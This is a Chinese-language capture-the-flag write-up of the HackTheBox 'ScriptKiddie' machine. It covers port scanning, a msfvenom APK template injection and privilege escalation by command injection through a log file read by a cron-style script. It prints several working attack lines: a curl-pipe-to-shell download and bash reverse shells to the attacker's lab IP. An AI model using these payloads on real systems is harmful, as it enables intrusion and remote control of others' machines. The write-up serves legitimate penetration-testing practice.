HackTheBox-ScriptKiddie

  • Name:ScriptKiddie
  • OS:Linux

0x01 信息收集

NMAP

1
2
3
4
5
6
7

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

http-5000

用flask写的python web程序。

20210310-09:27:44-_YiIunk_H1d5mY

尝试了一会,只有生成payloads的linux有报错,然后还能上传模版文件,生成payload用的是msfvenom,所以直接google搜索msfvenom vuln,就会发现msf6.0版本存在安卓apk模版文件注入的漏洞:exp

0x02 漏洞利用

1
payload='curl http://10.10.14.55:1234/a.sh|sh'

修改payload,执行脚本,将生成的apk,作为模版文件上传到靶机上面执行,即可弹shell
20210309-17:16:07-_j1FEUB_jnhFFF

1
2
3
#!/bin/bash

bash -c 'bash -i >&/dev/tcp/10.10.14.55/4444 0>&1'

20210309-16:49:48-_tIvHgJ_pftUMc

0x03 提权

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi

可以在pwn用户的家目录下找到这个脚本,主要是查看/home/kid/logs/hackers这个日志文件,然后输出的内容用cut做了过滤,以空格为分割,输出第三行之后的所有内容(包括第三行),接着用sort排序,传递给while,就nmap扫端口,并输出报告到/home/pwn/recon下,可以看到$ip这个参数没做过滤,而且日志文件也可以直接写,所以可以考虑直接用反引号`,让脚本优先执行我们输入的命令。

因为是输出第三行之后的内容,所以前面要多放置两个空格,加\是为了转义反引号。

1
2
echo "   \`/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.55/1234 0>&1'\` " > h
ackers

20210310-14:22:22-_vaeVU1_jvpdjF

pwn用户可以sudo执行msfconsole
20210310-14:22:57-_cx8mUm_31kNfb

20210310-14:23:56-_yluDxR_ghTHeF